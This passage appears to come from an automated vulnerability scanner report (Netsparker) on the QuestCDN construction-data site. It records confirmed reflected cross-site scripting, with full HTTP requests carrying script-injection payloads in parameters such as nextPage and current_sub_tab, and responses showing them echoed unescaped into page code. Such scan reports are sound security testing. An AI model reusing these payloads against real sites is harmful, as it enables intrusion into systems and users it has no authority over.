currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}

function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);

if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}

function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}

function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}

function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}

function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}

function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}

function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}

function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}

function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}

function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}

function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '&current_sub_tab=' + subtab;
}
return url;
}

function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}

function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}

function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':

url = 'projects/MyProjects/my_projects.html';

break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab=myprojects';

url += '&allMember=true';

location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value="3"/> <input type="hidden" name="jobPK" value="'"--></style></script><script>netsparker(0x0001FA)</script>"/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2"> addLoadEvent(initTab);</script><table cellspacing="0" cellpadding="0" width="760" border="0"> <tr style="height:5"> <td></td> </tr> <tr> <td><img alt="" src="/questcdn/images/elements/el_log_photos.jpg" border="0"/></TD> </tr> <tr style="height:30"> <td></td> </tr> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpaci..
- /questcdn/

/questcdn/ CONFIRMED

http://www.questcdn.com/questcdn/?jobPK=3&loginPagePath=index.html&nextPage='%22--%3E%3C/style%3E%3C..

Parameters

Parameter Type Value
jobPK GET 3
loginPagePath GET index.html
nextPage GET '"--></style></script><script>alert(0x000200)</script>
password GET 3
root_page GET true

Request

GET /questcdn/?jobPK=3&loginPagePath=index.html&nextPage='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000200)%3C/script%3E&password=3&root_page=true HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:37:43 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:37:43 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29913
Content-Type: text/html;charset=utf-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">

var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = ''><script>netsparker(9)</script>';
var sCurrentSubTab = 'myprojects';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';

function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:['><script>netsparker(9)</script>] sCurrentSubTab:[myprojects]');
setCurrentTab(null, ''><script>netsparker(9)</script>');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}

function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}

function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);

if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}

function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}

function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}

function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}

function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}

function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}

function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}

function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}

function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}

function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}

function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '&current_sub_tab=' + subtab;
}
return url;
}

function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}

function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}

function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':

url = 'projects/MyProjects/my_projects.html';

break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab=myprojects';

url += '&allMember=true';

location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value="'"--></style></script><script>netsparker(0x000200)</script>"/> <input type="hidden" name="jobPK" value="3"/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2"> addLoadEvent(initTab);</script><table cellspacing="0" cellpadding="0" width="760" border="0"> <tr style="height:5"> <td></td> </tr> <tr> <td><img alt="" src="/questcdn/images/elements/el_log_photos.jpg" border="0"/></TD> </tr> <tr style="height:30"> <td></td> </tr> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpaci..
- /questcdn/setTab/projects/MyProjects/my_projects.html

/questcdn/setTab/projects/MyProjects/my_projects.html CONFIRMED

http://www.questcdn.com/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&cu..

Parameters

Parameter Type Value
current_tab GET projects
current_sub_tab GET '"--></style></script><script>alert(0x000201)</script>

Request

GET /questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000201)%3C/script%3E HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:37:53 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:37:53 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29451
Content-Type: text/html;charset=utf-8


<!--$Header: planholder_list.html, 11/24/2009, Eric Nelsen$--><html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-type" content="text/html;charset=iso-8859-1"/> <title>QuestCDN: My Projects</title> <link rel="Stylesheet" type="text/css" href="/questcdn/css_scripts/verdana.css" media="screen"/> <link rel="Stylesheet" type="text/css" href="/questcdn/css_scripts/sweetTitlescss/sweetTitles.css"/> <link rel="Stylesheet" type="text/css" href="/questcdn/dhtmlxGrid/dhtmlxgrid_pro_full/dhtmlxgrid_pro.css"/> <link rel="stylesheet" type="text/css" href="/questcdn/dhtmlxGrid/dhtmlxToolbar/codebase/skins/dhtmlxtoolbar_dhx_skyblue.css"/> <link rel="Stylesheet" type="text/css" href="/questcdn/css_scripts/skin_qcdn.css"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/dhtmlxGrid/dhtmlxgrid_pro_full/dhtmlxgrid_pro.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/dhtmlxGrid/dhtmlxgrid_pro_full/connector.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/sweetTitlesjs/sweetTitles.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/QCDN_dhtmlxgrid.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/QCDN_XHConn.js"></script><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">

var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = 'projects';
var sCurrentSubTab = ''"--></style></script><script>netsparker(0x000201)</script>';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';

function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[projects] sCurrentSubTab:['"--></style></script><script>netsparker(0x000201)</script>]');
setCurrentTab(null, 'projects');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}

function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}

function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);

if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}

function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}

function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}

function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}

function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}

function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}

function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}

function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}

function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}

function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}

function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '&current_sub_tab=' + subtab;
}
return url;
}

function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}

function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}

function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':

url = 'projects/MyProjects/my_projects.html';

break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
